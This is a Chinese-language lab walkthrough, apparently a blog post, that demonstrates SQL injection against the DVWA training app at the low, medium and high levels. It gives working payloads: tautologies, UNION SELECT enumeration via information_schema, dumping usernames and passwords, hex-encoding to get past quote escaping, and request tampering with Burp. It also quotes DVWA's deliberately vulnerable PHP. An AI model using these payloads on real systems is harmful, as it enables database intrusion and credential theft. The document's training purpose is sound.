SQL数字注入和字符注入

SQL数字注入和字符注入

LOW

whatis数字注入和字符注入

字符注入

 $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";

这里$id被紧挨着的一对单引号引用起来,所以是字符型注入

数字注入

如果是数字型注入则写为:

 $query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";

这两种方式都可以执行sql命令,数字型相比于字符型更容易被注入

如果是数字型

比如前端填写表单id时不老实填写整数,而是写了:

1 or true;

然后前端发给后端就有

$id='1 or true'

然后组装成sql语句有

 $query  = "SELECT first_name, last_name FROM users WHERE user_id = 1 or true";

然后执行起来永远为真,即where子句失去筛选作用,会返回所有用户信息

如果是字符型

此时如果直接写1 or true则后端组装的语句为

 $query  = "SELECT first_name, last_name FROM users WHERE user_id = '1 or true'";

由于user_id为int类型,1 or true会去掉字符留下数字,实际上执行的是

 $query  = "SELECT first_name, last_name FROM users WHERE user_id = '1'";

因此如果想要让union select命令也能够执行,需要先让'$id'左右单引号号不要多管闲事,即让’1 or true’变成’1’ or true

方法是使用#注释(有时需要用其转义%23)

比如前端写:

1' and false #

发送给后端就有

$id="1 ' and false #"

组装成sql语句有

 $query  = "SELECT first_name, last_name FROM users WHERE user_id = '1' and false #'";//注意这里#只是注释了其后的',双引号是php字符串的结束

这里多余的单引号被注释掉,语法就正确了

手动测试是否存在sql注入漏洞

DVWA SQLinjection low难度

DVWA

怎么测试是否存在sql注入漏洞呢?

1.一般来说直接输入一个单引号,如果报错则说明存在注入(说明后端没有过滤我们的输入,导致我们的输入可以直接对数据库进行控制产生数据库报错)

2.**以区分数字注入和字符注入为目的,**在User ID中输入1’ or true#(这里#有时需要用其转义%23)运行后证明是存在漏洞的

服务端源码观察是否存在漏洞

在未注入之前我们是看不到服务端源码的,这里看代码只是马后炮,为了验证我们的猜想

<?php
if( isset( $_REQUEST[ 'Submit' ] ) ) {
    // Get input
    $id = $_REQUEST[ 'id' ];

    switch ($_DVWA['SQLI_DB']) {
        case MYSQL:
            // Check database
            $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";//关键
            $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

            // Get results
            while( $row = mysqli_fetch_assoc( $result ) ) {
                // Get values
                $first = $row["first_name"];
                $last  = $row["last_name"];

                // Feedback for end user
                echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
            }

            mysqli_close($GLOBALS["___mysqli_ston"]);
            break;
        case SQLITE:
            global $sqlite_db_connection;

            #$sqlite_db_connection = new SQLite3($_DVWA['SQLITE_DB']);
            #$sqlite_db_connection->enableExceptions(true);

            $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
            #print $query;
            try {
                $results = $sqlite_db_connection->query($query);
            } catch (Exception $e) {
                echo 'Caught exception: ' . $e->getMessage();
                exit();
            }

            if ($results) {
                while ($row = $results->fetchArray()) {
                    // Get values
                    $first = $row["first_name"];
                    $last  = $row["last_name"];

                    // Feedback for end user
                    echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
                }
            } else {
                echo "Error in fetch ".$sqlite_db->lastErrorMsg();
            }
            break;
    } 
}

?>

关键在于:

 $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";

这一句其中的$id,这里的$id是从REQUEST(包括POST和GET)得到的,前端的代码:

get

观察后端的php代码,没有对$id的内容有过滤,前端发给后端的GET数据直接被拼接到sql语句中执行了

设计者期望的输入就是$id为一个整数,但是我们可以输入其他sql命令的语句

区分是字符注入和数字注入?

考虑如果前端这样写:

1'#

如果是数字型,那么最终的sql语句为

 $query  = "SELECT first_name, last_name FROM users WHERE user_id = 1'#"

最后多了一个单引号不闭合(#为注释符号无作用)会报告错误

但是如果是字符型,那么最终的sql语句为

 $query  = "SELECT first_name, last_name FROM users WHERE user_id = '1'#'"
'1'#'最后这个'恰好被#注释掉了,因此符号是闭合的

即这种情况下字符型不会报错

运行结果:

1ans

没有报错

为什么打印出来的ID也是傻了吧唧的样子?

因为服务端的代码就是原封不动地打印ID,输入啥打印啥

echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";

套路数据库

我们已经判断出存在SQL注入,并且是字符注入,然后要干啥呢?

后面的工作就相当于在自己的电脑上远程操作服务端上的数据库了

查询当前表内容

比如如果想要查询当前表的所有内容,我们正儿八经地用命令行应该这么写:

select * from <tablename>;

或者是

select * from <tablename> where true;#这里where子句条件为true实际上等于没有条件

在DVWA页面上的表单里应该这么写:

1' or 'sth'='sth       这里后面的'sth故意符号不闭合,目的是与'$id'后面这个'闭合

这样写后端组装的sql语句为:

 $query  = "SELECT first_name, last_name FROM users WHERE user_id = '1' or 'sth'='sth'"

符号闭合不会报错,并且where条件子句中or后件为’sth’='sth’永真,就相当于

$query  = "SELECT first_name, last_name FROM users where true"
$query  = "SELECT first_name, last_name FROM users"

那么应该能够打印所有用户的姓名信息,事实上确实如此

sth

查询当前数据库,数据库软件版本号等信息

正儿八经的查询
在DVWA页面中查询之前先熟悉一下MySQL中如何查询

比如我们有一个empire数据库,里面有officers等数据表,officers数据表如下

mysql> use empire;
Database changed
mysql> show tables;
+------------------+
| Tables_in_empire |
+------------------+
| Winners          |
| commanders       |
| employee_tbl     |
| mytable          |
| newOfficers      |
| newtable         |
| officers         |
| popularity       |
+------------------+
8 rows in set (0.01 sec)

mysql> select * from officers;
+----+---------------+----------+---------------+
| id | name          | position | military_rank |
+----+---------------+----------+---------------+
|  5 | Darth Vader   | executor | soldier       |
|  6 | Darth Sidious | emperor  | soldier       |
+----+---------------+----------+---------------+
2 rows in set (0.00 sec)

1.如果我们想要查询officers下id为5的官员的姓名和职位,不要军衔,那么可以这样写:

mysql> select name,position from officers where id=5;
+-------------+----------+
| name        | position |
+-------------+----------+
| Darth Vader | executor |
+-------------+----------+
1 row in set (0.00 sec)

2.现在构造一个查询语句,使得返回的表结构如下:

+-------------+----------+
| name        | position |
+-------------+----------+
| Darth Vader | executor |
|1            |2         |
+-------------+----------+

考虑该查询语句应该怎么写?

mysql> select name,position from officers where id=5 union select 1,2;
+-------------+----------+
| name        | position |
+-------------+----------+
| Darth Vader | executor |
| 1           | 2        |
+-------------+----------+
2 rows in set (0.00 sec)

这里union语句的意思是后文的查询合并到前文的表中,如果后面的语句为union select 1,2,3;或者union select 1;都会报错,因为列数与前文不匹配

select又相当于打印语句,直接将1和2打印到表中

3.现在希望将第2步中的1位置打印数据库信息,2位置打印MySQL版本信息,考虑应该怎么写语句?

mysql> select name,position from officers where id=5 union select database(),version();
+-------------+-------------------------+
| name        | position                |
+-------------+-------------------------+
| Darth Vader | executor                |
| empire      | 8.0.27-0ubuntu0.20.04.1 |
+-------------+-------------------------+
2 rows in set (0.01 sec)

在DVWA页面的表单中的查询

通过前面的测试我们观察到

测试

打印结果1’#是跟随表单输入变化的,应该不是数据库的作用

First name和Surname应该是查询数据库返回的结果,这是两个回显位置,我们可以大体推测后端组装的查询语句为:

select Firstname,surname from <tablename> where id='$id';

事实上确实如此

后端源码:

 $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"; 

现在我们应该可以使用union语句将数据库和版本信息从下一行"套路"出来

页面表单上应该这么填写:

1' union select database(),version()#

submit之后

dbversion

得知当前数据表所在数据库名称为dvwa,数据库软件的版本号为5.7.26

查询数据库下所有表名

"正儿八经"的写法

假设现有数据库及其中一张表如下:

mysql> use empire;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql> select * from officers;
+----+---------------+----------+---------------+
| id | name          | position | military_rank |
+----+---------------+----------+---------------+
|  5 | Darth Vader   | executor | soldier       |
|  6 | Darth Sidious | emperor  | soldier       |
+----+---------------+----------+---------------+
2 rows in set (0.00 sec)

希望使用union查询语句,查询officers表中id为5的官员的姓名和职位,

联合查询empire数据库下所有的数据表名

补充MySQL相关知识:

1.当前使用数据库a,如何访问数据库b中的某个表的某些数据呢?

数据库名.数据表名
mysql> show databases;//查看所有数据库
+--------------------+
| Database           |
+--------------------+
| earth              |
| empire             |
| information_schema |
| mysql              |
| newschema          |
| performance_schema |
| sys                |
+--------------------+
7 rows in set (0.00 sec)

mysql> use earth;//使用earth数据库
Database changed
mysql> show tables from empire;//查看empire数据库的所有数据表,如果不写from则为默认查看当前数据库(earth)中的数据表
+------------------+
| Tables_in_empire |
+------------------+
| Winners          |
| commanders       |
| employee_tbl     |
| mytable          |
| newOfficers      |
| newtable         |
| officers         |
| popularity       |
+------------------+
8 rows in set (0.00 sec)

mysql> select * from empire.officers;//empire.officers指定到数据表
+----+---------------+----------+---------------+
| id | name          | position | military_rank |
+----+---------------+----------+---------------+
|  5 | Darth Vader   | executor | soldier       |
|  6 | Darth Sidious | emperor  | soldier       |
+----+---------------+----------+---------------+
2 rows in set (0.00 sec)

2.元数据

元数据就是数据的数据,比如数据库名或者数据表名,列数据属性等等

infomation_schema数据库为MySQL自带的,提供访问元数据的方式

其下的表有好多个

比如

TABLES用来存放已经存在的数据表

CHARACTER_SETS用来存放字符编码方式:

COLUMNS用来存放列信息

查询当前所在数据库的所有数据表

mysql> use empire;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql> select table_name from information_schema.tables where table_schema=database();
+----------------------------------------------------------------------------------+
| group_concat(table_name)                                                         |
+----------------------------------------------------------------------------------+
| Winners,commanders,employee_tbl,mytable,newOfficers,newtable,officers,popularity |
+----------------------------------------------------------------------------------+
1 row in set (0.01 sec)

由于返回值可能不光占用了一列,可能是多个字符串组成的,

使用group_concat函数就可以合并多个字符串为一个字符串

在DVWA页面中就应当写为

1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

然而却报错了:

Illegal mix of collations for operation 'UNION'

网上的说法是编码方式不一致不能放到一个列里,即同一列需要编码方式一致

使用hex编码然后unhex解码之后

1' union select 1,group_concat(unhex(hex(table_name))) from information_schema.tables where table_schema=database()#

得到:

hex

于是得到当前数据库下只有两个数据表,那么UserID从字面上来说,应该是从users表里面查的

查询字段名

在mysql上

mysql> select 1,group_concat(column_name) from information_schema.columns where table_name='officers';
+---+--------------------------------+
| 1 | group_concat(column_name)      |
+---+--------------------------------+
| 1 | id,military_rank,name,position |
+---+--------------------------------+
1 row in set (0.00 sec)

在DVWA页面上:

1' union select 1,unhex(hex(group_concat(column_name))) from information_schema.columns where table_name='users'#

columns

我们又得知了users表的用户名和密码等字段值,下面查询这些字段值的记录

1' union select user,password from users#

psw

Medium

中等难度将表格框改成了下拉框并且只有五个选择项目

list

看似限定了输入,但是由于这是前端的限定,没有传送到后端之前一切都不算数,可以用抓包工具修改参数

点击submit之后用burp suite professional抓包:

package

显然我们可以在id 的value处做一些手脚

比如value=1改为value=1’然后转发,浏览器报错:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 1

推测存在sql注入

为了区分数字注入还是字符注入,我们可以令value=1’#,如果报错则为数字注入,否则为字符注入

转发后发现报错:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'#' at line 1

因此为数字注入

推测服务端的代码为

$id=POST['_id'];
select firstname,surname from <tablename> where id=$id;

即有两个回显位置,一个是firstname,一个是surname

令where子句永真查看所有用户信息

1 or true

all

使用union select语句套路数据库

查看当前使用数据库和版本信息

1 union select database(),version()

unionselect

查看当前数据库下的数据数据表

1 union select 1,unhex(hex(group_concat(table_name))) from information_schema.tables where table_schema=database()

sele

查询users的字段值

当我们企图通过下面语句查询users数据表的字段值时却发生了错误

1 union select 1,unhex(hex(group_concat(column_name))) where table_name='users'

报错:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'users\'' at line 1

即服务端php代码在查询数据库之前过滤掉了输入中的引号(双引号试了试也是这样的错误)

使用16进制绕过

1 union select 1,unhex(hex(group_concat(column_name))) from information_schema.columns where table_name=0x75736572

回显:

ID: 1 union select 1,unhex(hex(group_concat(column_name))) from information_schema.columns where table_name=0x7573657273
First name: admin
Surname: admin
ID: 1 union select 1,unhex(hex(group_concat(column_name))) from information_schema.columns where table_name=0x7573657273
First name: 1
Surname: user_id,first_name,last_name,user,password,avatar,last_login,failed_login,USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS
1 union select user,password from users

up

引号过滤是怎么实现的?

    $id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);
function mysqli_real_escape_string(mysqli $mysql, string $string) string
Escapes special characters in a string for use in an SQL statement, taking into account the current charset of the connection
    //对字符串中的特殊字符转义,以便在 SQL 语句中使用,同时考虑到连接的当前字符集
Parameters:
mysqli
$mysql
A link identifier returned by mysqli_connect() or mysqli_init()
string
$string
The string to be escaped. Characters encoded are NUL (ASCII 0), \n, \r, \, ', ", and Control-Z.
Links:
https://php.net/manual/en/mysqli.real-escape-string.php 
Source:
D:/PhpStorm 2021.3.1/plugins/php/lib/php.jar!/stubs/mysqli/mysqli.php

这个函数将$id中的NUL (ASCII 0), \n, \r, \, ', ", and Control-Z等等符号都转义了

High

session

session

文本框里输入1’or true#立刻证明是字符注入

1or true

后面的步骤与low和medium大体相似

  • 2
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

灰球球

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值